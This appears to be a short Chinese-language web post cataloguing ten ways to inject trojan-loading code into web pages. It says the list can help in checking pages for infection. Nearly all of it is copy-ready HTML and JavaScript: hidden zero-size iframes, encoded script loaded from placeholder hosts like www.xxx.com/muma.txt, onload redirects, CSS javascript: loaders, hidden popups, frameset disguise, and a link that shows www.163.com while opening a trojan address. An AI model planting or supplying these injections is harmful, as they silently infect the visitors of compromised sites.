ps:检查文件是否被挂马的时候可以参考下!
一:框架挂马
   <iframe src=地址 width=0 height=0></iframe> 
二:js文件挂马
   首先将以下代码
   document.write("<iframe width='0' height='0' src='地址'></iframe>");
   保存为xxx.js,
   则JS挂马代码为
   <script language=javascript src=xxx.js></script> 
三:js变形加密
   <SCRIPT language="JScript.Encode"          src=http://www.xxx.com/muma.txt></script> 
   muma.txt可改成任意后缀
四:body挂马
   <body onload="window.location='地址';"></body>
五:隐蔽挂马
   top.document.body.innerHTML = top.document.body.innerHTML +    '\r\n<iframe src="
http://www.xxx.com/muma.htm/"></iframe>';
六:css中挂马
   body { 
   background-image: url('javascript:document.write("<script          src=http://www.XXX.net/muma.js></script>")')} 
七:JAJA挂马
  <SCRIPT language=javascript>      
  window.open  ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro  llbars=no,width=1,height=1");  
  </script>
八:图片伪装
  <html>
  <iframe src="网马地址" height=0 width=0></iframe>
  <img src="图片地址"></center>
  </html>
九:伪装调用:
   <frameset rows="444,0" cols="*">
   <frame src="打开网页" framborder="no" scrolling="auto" noresize    marginwidth="0"margingheight="0">
   <frame src="网马地址" frameborder="no" scrolling="no"   noresize    marginwidth="0"margingheight="0">
   </frameset>
十:高级欺骗
   <a href="
http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
